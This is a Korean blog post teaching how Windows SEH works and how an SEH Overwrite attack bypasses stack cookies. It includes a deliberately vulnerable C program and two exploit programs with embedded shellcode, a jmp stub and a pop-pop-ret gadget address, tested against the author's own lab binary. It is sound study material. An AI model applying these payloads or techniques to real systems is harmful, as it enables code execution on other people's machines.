티스토리 뷰
SEH(Structured Exception Handling) : Windows에서 지원하는 예외처리 중 하나
예외 처리 발생 시 위와 같은 형태로 진행된다.
- FS라는 Segment Register의 offset[0]의 값을 참조하여 EXCEPTION_REGISTRATION 이라는 녀석을 찾는다.
- EXCEPTION_REGISTRATION 내부의 Exception Handler가 있는데 이를 통해 예외처리를 하기 위한 예외처리를 호출
- 찾던 예외처리 핸들이 맞을 경우 예외처리 실행, 아닐 경우 prev를 참고하여 다른 EXCEPTION_REGISTRATION를 찾음
- 예외처리가 실행되거나 마지막 EXCEPTION_REGISTRATION에 도달할 때 까지 2~3번 반복
Windows의 SEH 예외처리 방식은 이렇게 진행된다.
그럼 FS라는 Segment Register가 뭐길래 offset[0]에 EXCEPTION_REGISTRATION가 있는 것일까?
- FS Register는 TEB의 주소가 들어있다.
TEB(Thread Environment Block)는 현재 실행 중인 스레드의 환경정보를 저장하고 있는 구조체이다. 이 녀석의 내부를 살펴보면 아래처럼 되어있다.
사실 이것보다 훨씬 많은 멤버가 들어가 있지만 일단은 TEB의 주소, 즉 TEB의 첫 번째 멤버가 중요하다. 이 TEB의 첫 번째 멤버는 NTTib라는 녀석인데 이 녀석 역시 TIB라는 구조체이다.
TIB(Thread Information Block) 구조체 역시 스레드에 대한 정보를 가지고 있다.
이 TIB 구조체의 첫 번째 멤버는 EXCEPTION_REGISTRATION_RECORD 인데 위에서 본 EXCEPTION_REGISTRATION의 주소를 가진 녀석이라고 생각하면 되겠다. 정리하면 현재 실행 중인 스레드의 EXCEPTION_REGISTRATION 이겠다.
그래서 결국 FS[0] = TEB의 주소 = TEB의 첫 번째 멤버 = TIB의 주소 = TIB의 첫 번째 멤버(EXCEPTION_REGISTRATION_RECORD) 가 되겠다.
위 그림에서 볼 수 있듯이 EXCEPTION_REGISTRATION은 스레드가 가지고 있기 때문인지 Stack에 저장되어 있는 것을 볼 수 있다. Stack에 저장되기 때문에 EXCEPTION_REGISTRATION이 Stack의 Buffer보다 높은 주소에 있을 경우 Overflow를 이용해 덮어쓰는 것도 가능할 것이다. 이것이 SEH Overwrite 이다.
여기서 생각해 볼 수 있는 질문, 왜 귀찮게 바로 ret를 안 덮고 SEH Overwrite를 하는가?
- 물론 ret를 덮어서 공격할 수 있다면 ret가 더 간단하다. 하지만 메모리 방어기법이 ret를 쉽게 덮을 수 있도록 하지 않을 것이다. SEH Overwrite는 /GS(Stack Cookie)를 우회하기 위한 공격 기법이다.
보통 함수를 호출하면 함수의 프롤로그(push ebp, mov)를 진행한 후 변수의 크기만큼 Stack을 할당하고 함수의 본 내용이 시작되게 된다. 하지만 예외처리를 설치할 경우 스크린샷에서도 볼 수 있듯이 main() 함수의 프롤로그를 진행한 후 변수의 크기만큼 Stack을 할당하기 전에 어떤 4가지 값을 Stack에 Push하는 것을 볼 수 있다.
위의 Stack 창처럼 Stack에 Push를 끝내고 ESP를 확장할 것이다. 따라서 결국은 아래와 같은 형태가 될 것이다.
Overflow가 일어날 경우 ret와 Buffer 사이에 있기 때문에 바로 Overwrite 할 수 있겠다.
마음 같아서는 예외처리 시 Exception_Handler의 주소를 호출하기 때문에 Exception_Handler에 바로 Shellcode의 주소를 넣고 실행하고 싶지만 SafeSEH 때문에 넣어줄 수 없다.
SafeSEH
- Stack의 주소를 Exception_Handler에 넣을 수 없다.
- MS가 지정한 모듈(kernel32.dll 같은...)의 주소를 Exception_Handler에 넣을 수 없다.
따라서 Handler에는 위 2가지의 주소를 넣을 수 없어 프로그래머가 직접 작성한 코드나 dll에서 pop-pop-ret gadget을 가져와 넣어주고 prev(Next Recode) 부분에 단순히 jmp를 하는 쉘 코드를 채워서 본래 목적의 쉘 코드를 실행할 수 있게 만들 것이다.
※ 이 부분은 이런 식으로 딱 정해져 있는 것은 아니고 몇 가지 다른 방법도 있다.
이 때 handler에 pop-pop-ret gadget을 넣어주는 이유는 Exception_Handler를 통해 예외처리를 호출할 때 ESP가 본래의 위치에서 더 낮은 주소로 이동하기 때문이다. 이 부분에는 예외처리와 관련된 녀석들이 있다.
이 위치의 ESP에서 pop-pop-ret gadget을 실행하게 되면 아래와 같이 된다.
이를 통해 prev로 돌아오게 되고 jmp 쉘 코드를 실행하여 Shellcode 위의 있는 nop으로 점프하고 이걸 타고 흘러가 쉘 코드를 실행하게 된다.
간단한 취약 프로그램 작성
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #include <process.h> int main(int argc, char* argv[]) { char buf[100]; int* ptr; if(argc != 2) { printf("Usage : %s <seh> \n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); _try { ptr = 0; *ptr = 1; } _except(1) { printf("exception!!\n"); } return 0; } | cs |
강제로 예외처리를 하도록 하는 프로그램을 작성하고 Overwrite하기 위해 디버깅한다.
A를 대충 112개 넣고 B를 4개 넣으니 딱 맞게 handler가 덮이는 것을 볼 수 있다.
따라서 더미를 108개 넣고 prev와 handler를 알맞게 채워주면 공격이 가능하겠다. 그래서 pop-pop-ret gadget을 구해 페이로드를 작성하고 공격했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdio.h> #include <process.h> #include <windows.h> char shellcode[] = "\x55\x8B\xEC\x33\xDB\x53\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6" "\x45\xFE\x64\x6A\x05\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF" "\xD0\x6A\x01\xB8\xA2\xCA\x81\x7C\xFF\xD0"; int main(int argc,char *argv[]) { char cmd[500]; int seh; if(argc < 2) { printf("usage : %s [offset]\n", argv[0]); exit(1); } memset(cmd, 0x90, sizeof(cmd)); memcpy(&cmd[200], shellcode, sizeof(shellcode)); seh = atoi(argv[1]); *(long*) &cmd[seh] = 0x909010eb; *(long*) &cmd[seh+4] = 0x0040154f; //pop-pop-ret gadget execl("C:\\seh_overwrite.exe", "seh_overwrite.exe", cmd, 0); return 0; } | cs |
argv를 통해 인자를 받기 때문에 대충 이런 식으로 짜고 공격해본 결과
pop-pop-ret gadget의 주소의 가장 앞에 NULL이 들어가서 argv가 끊어져서 공격이 제대로 되질 않는다. handler에 넣을 주소와 주소의 맨 앞에 NULL이 들어가지 않는 주소를 찾아본 결과 없기 때문에 이 상태로는 난감하게도 공격을 할 수가 없다...
그래서 만약 페이로드가 끊어지지 않고 들어갔을 경우를 가정하고 공격을 하는 상태의 페이로드를 작성해서 확인해보면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #include <process.h> char shellcode[]="\x55\x8B\xEC\x33\xDB\x53\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6" "\x45\xFE\x64\x6A\x05\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF" "\xD0\x6A\x01\xB8\xA2\xCA\x81\x7C\xFF\xD0"; int main(int argc, char* argv[]) { char buf[100]; char cmd[500]; int seh; int* ptr; if(argc != 2) { printf("Usage : %s <seh> \n", argv[0]); exit(1); } seh = atoi(argv[1]); memset(cmd, 0x90, sizeof(cmd)); *(long*)&cmd[seh] = 0x909010EB; *(long*)&cmd[seh+4] = 0x00401ACF; //pop-pop-ret gadget memcpy(&cmd[seh+30], shellcode, sizeof(shellcode)); memcpy(buf, cmd, sizeof(cmd)); //overwrite! _try { ptr = 0; *ptr = 1; } _except(1) { printf("exception!!\n"); } return 0; } | cs |
공격이 성공하는 것을 볼 수 있다. 페이로드가 덮어진 것을 따라 트레이싱 해보면
제대로 덮였을 때를 가정한 그대로 handler가 제대로 덮인 것을 볼 수 있고
handler에 overwrite한 주소로 예외처리를 한 모습을 볼 수 있다.
이 후 pop-pop-ret를 수행하여 prev로 이동하였기 때문에 jmp와 shellcode가 보이는 것도 확인할 수 있다.
-----------------------------------------------------------------------------
도중에 NULL 때문에 제대로 진행되지 않았지만 SEH의 원리를 따라 공격이 제대로 진행되는 점을 확인할 수 있었다...
좀 더 제대로 였다면 좋았을 텐데...
'System > Windows' 카테고리의 다른 글
스레드의 상태 (0) | 2016.03.02 |
---|---|
Windows ROP (2) | 2016.02.12 |
Windows Stack OverFlow (0) | 2016.02.11 |
Windows Shellcode (0) | 2016.01.30 |
세그먼테이션(Segmentation) 정리 (2) | 2016.01.30 |